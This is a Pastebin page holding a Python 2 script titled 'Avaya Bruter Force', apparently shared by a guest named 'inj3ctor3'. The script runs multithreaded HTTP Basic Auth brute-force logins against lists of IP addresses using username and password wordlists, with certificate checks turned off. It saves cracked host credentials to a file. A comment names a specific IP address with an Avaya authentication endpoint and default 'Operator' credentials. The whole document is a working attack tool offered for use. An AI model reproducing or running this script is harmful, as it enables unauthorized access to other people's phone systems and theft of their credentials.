Advertisement
Guest User

inj3ctor3

a guest
May 7th, 2018
357
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.67 KB | None | 0 0
  1. import re, requests, sys, Queue, threading
  2. from requests.auth import HTTPBasicAuth
  3. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  4. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  5. #inj3ctor3
  6. ux = open('ips.txt', 'a')
  7. uy = open('users.txt', 'a')
  8. uw = open('pwd.txt', 'a')
  9. ThreadNumber = sys.argv[1]
  10. val = open('validAvaya.txt', 'a')
  11. cracked = []
  12. class Apophis(threading.Thread):
  13.  
  14.     def __init__(self, queue):
  15.         threading.Thread.__init__(self)
  16.         self.queue = queue
  17.  
  18.     def run(self):
  19.         while True:
  20.             Host, user, passwd = self.queue.get()
  21.             self.checker(Host, user, passwd)
  22.             self.queue.task_done()
  23.  
  24.  
  25.     def checker(self, host, user, Passwd):
  26.         try:
  27.             if host in str(cracked): return False
  28.             print host + " " + user + " " + Passwd + '\r' #r = requests.get('https://185.71.81.206:8443/ws/security/authenticate', verify=False, auth=HTTPBasicAuth('Operator', 'Operator'))
  29.             session = requests.session()
  30.             r = session.get(host, verify=False, timeout=30, auth=HTTPBasicAuth(user, Passwd))            
  31.             if re.search("<response status=\"1\">", r.text):
  32.                 print("[+] Login Success")
  33.                 print 'Host: %s User: %s Password: %s \n' % (host, user, Passwd)
  34.                 val.write(host + ' ' + user + ' ' + Passwd +'\n')
  35.                 val.flush()
  36.                 cracked.append(host)
  37.             else:
  38.  
  39.                 return False
  40.             return True
  41.         except requests.exceptions.RequestException as e:
  42.             return False
  43.         except Exception as e:
  44.             print '\r' + host + ' ' + str(e) + '                                                      '
  45.             return False
  46.  
  47. def main(ips, users, passwords, ThreadNmber):
  48.     queue = Queue.Queue(maxsize=20000)
  49.     for i in range(ThreadNmber):
  50.         try:
  51.             t = Apophis(queue)
  52.             t.daemon = True
  53.             t.start()
  54.         except Exception as e:
  55.             break
  56.  
  57.     for user in users:
  58.         for passwd in passwords:
  59.             for Host in ips:
  60.                 queue.put((Host, user, passwd))
  61.  
  62.     queue.join()
  63.  
  64. if __name__ == '__main__':
  65.     with open('ips.txt', 'rU') as ipf:
  66.         ips = ipf.read().splitlines()
  67.     with open('users.txt', 'rU') as uf:
  68.         users = uf.read().splitlines()
  69.     with open('pwd.txt', 'rU') as pf:
  70.         passwords = pf.read().splitlines()
  71.     print 'Avaya Bruter Force'
  72.     print 'INJ3CTOR3 PRIV8T CODE'
  73.     par = raw_input('Press Enter to continue ')
  74.     if par != '':
  75.        print 'Exit'
  76.     else:
  77.         main(ips, users, passwords, int(ThreadNumber))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement